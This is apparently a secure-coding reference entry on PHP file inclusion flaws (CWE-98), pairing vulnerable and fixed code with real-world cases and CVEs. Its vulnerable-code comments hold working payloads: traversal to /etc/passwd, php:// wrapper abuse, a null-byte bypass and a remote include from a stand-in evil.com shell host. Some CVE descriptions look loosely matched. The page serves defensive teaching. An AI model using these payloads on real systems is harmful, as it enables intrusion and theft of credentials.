Improper Control of Filename for Include/Require Statement in PHP Program

Description

Improper Control of Filename for Include/Require Statement in PHP Program is a vulnerability that occurs when PHP applications construct file include statements (include, include_once, require, require_once) using externally-influenced input without proper validation. This vulnerability manifests in two primary forms: Local File Inclusion (LFI) where attackers include files from the local file system, and Remote File Inclusion (RFI) where attackers include files from remote servers (when allow_url_include is enabled). Successful exploitation enables attackers to read sensitive files, execute arbitrary PHP code from included files, or gain remote code execution through various techniques including log poisoning, PHP wrapper abuse, and malicious remote includes.

Risk

File inclusion vulnerabilities are among the most critical PHP security issues. LFI enables reading sensitive files such as /etc/passwd, configuration files containing database credentials, and PHP session files. More dangerously, LFI can escalate to remote code execution through techniques like: including poisoned log files containing PHP code, using PHP stream wrappers (php://filter, php://input), or including uploaded files. RFI directly enables remote code execution by including attacker-controlled PHP files from malicious servers. These vulnerabilities have been exploited in numerous high-profile breaches against PHP applications including popular CMS platforms.

Solution

Never use user input directly in file include paths. Implement strict allowlist validation that only permits predefined, safe file names. Use switch statements or array lookups to map user input to specific files rather than constructing paths. If dynamic includes are required, validate that the resolved path remains within an allowed directory using realpath() and prefix comparison. Disable allow_url_include in php.ini (default since PHP 5.2). Set open_basedir to restrict file access to application directories. Use basename() to strip directory components from user input as additional defense. Consider using autoloading mechanisms instead of manual includes.

Common Consequences

ImpactDetails
ConfidentialityScope: Confidentiality

LFI enables reading sensitive configuration files, source code, database credentials, and system files like /etc/passwd.
IntegrityScope: Integrity

RFI and LFI-to-RCE techniques allow arbitrary code execution enabling application modification and backdoor installation.
AvailabilityScope: Availability

Attackers can crash applications, corrupt files, or deploy destructive payloads through included malicious code.
Access ControlScope: Complete Compromise

Remote code execution through file inclusion typically results in complete server compromise.

Example Code + Solution Code

Vulnerable Code

<?php
// VULNERABLE: Direct user input in include
$page = $_GET['page'];
include($page);
// Attack (LFI): ?page=../../../etc/passwd
// Attack (LFI->RCE): ?page=php://filter/convert.base64-encode/resource=config.php
// Attack (RFI): ?page=http://evil.com/shell.txt

// VULNERABLE: Partial validation is insufficient
$lang = $_GET['lang'];
include("languages/" . $lang . ".php");
// Attack: ?lang=../../../etc/passwd%00  (null byte - older PHP)
// Attack: ?lang=....//....//....//etc/passwd

// VULNERABLE: File extension not sufficient
$template = $_GET['tpl'] . ".php";
include("templates/" . $template);
// Attack: ?tpl=../../uploads/malicious  (if .php is appended)
// PHP wrappers bypass extension: ?tpl=php://input

Fixed Code

<?php
// SAFE: Allowlist approach with switch statement
function loadPage($page) {
    switch ($page) {
        case 'home':
            include 'pages/home.php';
            break;
        case 'about':
            include 'pages/about.php';
            break;
        case 'contact':
            include 'pages/contact.php';
            break;
        default:
            include 'pages/404.php';
    }
}

// SAFE: Array-based allowlist
function loadTemplate($template) {
    $allowed_templates = [
        'header' => 'templates/header.php',
        'footer' => 'templates/footer.php',
        'sidebar' => 'templates/sidebar.php',
        'main' => 'templates/main.php'
    ];

    if (array_key_exists($template, $allowed_templates)) {
        include $allowed_templates[$template];
    } else {
        throw new InvalidArgumentException('Invalid template');
    }
}

// SAFE: Path validation for dynamic includes
function safeInclude($filename, $base_dir) {
    // Remove directory traversal attempts
    $filename = basename($filename);

    // Only allow alphanumeric and specific characters
    if (!preg_match('/^[a-zA-Z0-9_-]+$/', $filename)) {
        throw new InvalidArgumentException('Invalid filename');
    }

    // Construct full path
    $full_path = realpath($base_dir . '/' . $filename . '.php');

    // Verify path is within allowed directory
    $real_base = realpath($base_dir);
    if ($full_path === false || strpos($full_path, $real_base) !== 0) {
        throw new InvalidArgumentException('File not found or access denied');
    }

    // Verify file exists and is readable
    if (!is_file($full_path) || !is_readable($full_path)) {
        throw new InvalidArgumentException('File not accessible');
    }

    include $full_path;
}

// php.ini security settings
// allow_url_include = Off
// open_basedir = /var/www/myapp/

Exploited in the Wild

TimThumb WordPress Vulnerability (WordPress, 2011)

TimThumb, a popular WordPress image resizing script, had a remote file inclusion vulnerability that allowed attackers to include malicious PHP files from remote servers. Thousands of WordPress sites were compromised through this vulnerability, with attackers installing backdoors and malware.

PHP CGI Argument Injection (PHP, 2012)

CVE-2012-1823 allowed attackers to execute arbitrary PHP code through CGI parameter injection, which was frequently combined with file inclusion techniques to achieve remote code execution on vulnerable PHP servers.

Joomla LFI Vulnerabilities (Joomla, Multiple Years)

Multiple versions of Joomla and its extensions have been affected by local file inclusion vulnerabilities, allowing attackers to read sensitive configuration files and escalate to remote code execution through log file poisoning.


Tools to test/exploit

  • LFISuite — automated LFI exploitation tool with multiple techniques including log poisoning and filter bypass.

  • Burp Suite — web security testing platform with file inclusion testing capabilities.

  • Kadimus — LFI scanning and exploitation tool with support for various bypass techniques.


CVE Examples

  • CVE-2018-7600 — Drupalgeddon2 remote code execution involving file handling vulnerabilities.

  • CVE-2023-22515 — Atlassian Confluence access control bypass leading to file inclusion.

  • CVE-2012-1823 — PHP CGI argument injection enabling arbitrary code execution.


References

  1. MITRE. "CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program." https://cwe.mitre.org/data/definitions/98.html

  2. OWASP. "Testing for Local File Inclusion." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion

  3. PayloadsAllTheThings. "File Inclusion." https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion